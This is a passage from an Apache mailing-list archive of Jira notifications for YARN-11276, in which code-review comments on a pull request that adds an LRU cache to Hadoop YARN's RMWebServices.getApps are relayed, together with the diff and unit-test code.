https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584035#comment-17584035
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953416707
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/RMWebServices.java:
##
@@ -622,6 +641,23 @@ public AppsInfo getApps(@Context HttpServletRequest hsr,
@QueryParam(RMWSConsts.NAME) String name,
@QueryParam(RMWSConsts.DESELECTS) Set unselectedFields) {
+AppsCacheKey cacheKey = AppsCacheKey.newInstance(stateQuery, new
HashSet<>(statesQuery),
+finalStatusQuery, userQuery, queueQuery, limit, startedBegin,
startedEnd, finishBegin,
+finishEnd, new HashSet<>(applicationTypes), new
HashSet<>(applicationTags), name,
+unselectedFields);
+if (this.enableAppsCache) {
+ long successTimes = getAppsSuccessTimes.incrementAndGet();
+ if (successTimes % 1000 == 0) {
+LOG.debug("hit cache info: getAppsSuccessTimes=" + successTimes + ",
hitAppsCacheTimes="
+ + hitAppsCacheTimes.get());
Review Comment:
log {}
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584038#comment-17584038
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953418043
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/test/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/TestRMWebServices.java:
##
@@ -723,6 +726,83 @@ public void testAppsRace() throws Exception {
assertTrue(appsInfo.getApps().isEmpty());
}
+ @Test
+ public void testGetAppsCache() throws YarnException, InterruptedException {
+// mock up an RM that returns app reports for apps that don't exist
+// in the RMApps list
+ApplicationId appId = ApplicationId.newInstance(1, 1);
+ApplicationReport mockReport = mock(ApplicationReport.class);
+when(mockReport.getApplicationId()).thenReturn(appId);
+GetApplicationsResponse mockAppsResponse =
+mock(GetApplicationsResponse.class);
+when(mockAppsResponse.getApplicationList())
+.thenReturn(Arrays.asList(new ApplicationReport[]{mockReport}));
+
+ClientRMService mockClientSvc = mock(ClientRMService.class);
+when(mockClientSvc.getApplications(isA(GetApplicationsRequest.class)))
+.thenReturn(mockAppsResponse);
+ResourceManager mockRM = mock(ResourceManager.class);
+RMContextImpl rmContext = new RMContextImpl(null, null,
+null, null, null,
+null, null, null,
+null, null);
+when(mockRM.getRMContext()).thenReturn(rmContext);
+when(mockRM.getClientRMService()).thenReturn(mockClientSvc);
+rmContext.setNodeLabelManager(mock(RMNodeLabelsManager.class));
+
+Configuration conf = new Configuration();
+conf.setBoolean(YarnConfiguration.APPS_CACHE_ENABLE, true);
+conf.setInt(YarnConfiguration.APPS_CACHE_SIZE, 2);
+conf.setInt(YarnConfiguration.APPS_CACHE_EXPIRE, 100);
+RMWebServices webSvc = new RMWebServices(mockRM, conf,
+mock(HttpServletResponse.class));
+final Set emptySet =
+Collections.unmodifiableSet(Collections.emptySet());
+
+// verify we don't get any apps when querying
+HttpServletRequest mockHsr = mock(HttpServletRequest.class);
+AppsInfo appsInfo = webSvc.getApps(mockHsr, null, emptySet, null,
+"mock_user", "mock_queue", null, null,
+null, null, null, emptySet, emptySet, null,
+null);
+LRUCache cache = webSvc.getAppsLRUCache();
+Assert.assertEquals(cache.size(), 1);
+AppsCacheKey appsCacheKey = AppsCacheKey.newInstance(null, emptySet,
+null, "mock_user", "mock_queue", null,
+null, null, null, null, emptySet, emptySet,
+null, null);
+Assert.assertEquals(cache.get(appsCacheKey), appsInfo);
+
+AppsInfo appsInfo1 = webSvc.getApps(mockHsr, null, emptySet, null,
+"mock_user1", "mock_queue", null, null,
+null, null, null, emptySet, emptySet, null,
+null);
+Assert.assertEquals(cache.size(), 2);
+AppsCacheKey appsCacheKey1 = AppsCacheKey.newInstance(null, emptySet,
+null, "mock_user1", "mock_queue", null,
+null, null, null, null, emptySet, emptySet,
+null, null);
+Assert.assertEquals(cache.get(appsCacheKey1), appsInfo1);
+
+AppsInfo appsInfo2 = webSvc.getApps(mockHsr, null, emptySet, null,
+"mock_user2", "mock_queue", null, null,
+null, null, null, emptySet, emptySet, null,
+null);
+Assert.assertEquals(cache.size(), 2);
Review Comment:
expect first
```
Assert.assertEquals(2,cache.size());
```
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584039#comment-17584039
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953418643
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/test/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/TestRMWebServices.java:
##
@@ -723,6 +726,83 @@ public void testAppsRace() throws Exception {
assertTrue(appsInfo.getApps().isEmpty());
}
+ @Test
+ public void testGetAppsCache() throws YarnException, InterruptedException {
+// mock up an RM that returns app reports for apps that don't exist
+// in the RMApps list
+ApplicationId appId = ApplicationId.newInstance(1, 1);
+ApplicationReport mockReport = mock(ApplicationReport.class);
+when(mockReport.getApplicationId()).thenReturn(appId);
+GetApplicationsResponse mockAppsResponse =
+mock(GetApplicationsResponse.class);
+when(mockAppsResponse.getApplicationList())
+.thenReturn(Arrays.asList(new ApplicationReport[]{mockReport}));
+
+ClientRMService mockClientSvc = mock(ClientRMService.class);
+when(mockClientSvc.getApplications(isA(GetApplicationsRequest.class)))
+.thenReturn(mockAppsResponse);
+ResourceManager mockRM = mock(ResourceManager.class);
+RMContextImpl rmContext = new RMContextImpl(null, null,
+null, null, null,
+null, null, null,
+null, null);
+when(mockRM.getRMContext()).thenReturn(rmContext);
+when(mockRM.getClientRMService()).thenReturn(mockClientSvc);
+rmContext.setNodeLabelManager(mock(RMNodeLabelsManager.class));
+
+Configuration conf = new Configuration();
+conf.setBoolean(YarnConfiguration.APPS_CACHE_ENABLE, true);
+conf.setInt(YarnConfiguration.APPS_CACHE_SIZE, 2);
+conf.setInt(YarnConfiguration.APPS_CACHE_EXPIRE, 100);
+RMWebServices webSvc = new RMWebServices(mockRM, conf,
+mock(HttpServletResponse.class));
+final Set emptySet =
+Collections.unmodifiableSet(Collections.emptySet());
+
+// verify we don't get any apps when querying
+HttpServletRequest mockHsr = mock(HttpServletRequest.class);
+AppsInfo appsInfo = webSvc.getApps(mockHsr, null, emptySet, null,
+"mock_user", "mock_queue", null, null,
+null, null, null, emptySet, emptySet, null,
+null);
+LRUCache cache = webSvc.getAppsLRUCache();
+Assert.assertEquals(cache.size(), 1);
+AppsCacheKey appsCacheKey = AppsCacheKey.newInstance(null, emptySet,
+null, "mock_user", "mock_queue", null,
+null, null, null, null, emptySet, emptySet,
+null, null);
+Assert.assertEquals(cache.get(appsCacheKey), appsInfo);
+
+AppsInfo appsInfo1 = webSvc.getApps(mockHsr, null, emptySet, null,
+"mock_user1", "mock_queue", null, null,
+null, null, null, emptySet, emptySet, null,
+null);
+Assert.assertEquals(cache.size(), 2);
+AppsCacheKey appsCacheKey1 = AppsCacheKey.newInstance(null, emptySet,
+null, "mock_user1", "mock_queue", null,
+null, null, null, null, emptySet, emptySet,
+null, null);
+Assert.assertEquals(cache.get(appsCacheKey1), appsInfo1);
+
+AppsInfo appsInfo2 = webSvc.getApps(mockHsr, null, emptySet, null,
+"mock_user2", "mock_queue", null, null,
+null, null, null, emptySet, emptySet, null,
+null);
+Assert.assertEquals(cache.size(), 2);
+AppsCacheKey appsCacheKey2 = AppsCacheKey.newInstance(null, emptySet,
+null, "mock_user2", "mock_queue", null,
+null, null, null, null, emptySet, emptySet,
+null, null);
+Assert.assertEquals(cache.get(appsCacheKey2), appsInfo2);
+// appsCacheKey have removed
+Assert.assertNull(cache.get(appsCacheKey));
+
+Thread.sleep(200);
Review Comment:
Can we use wait for instead of sleep?
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For ad
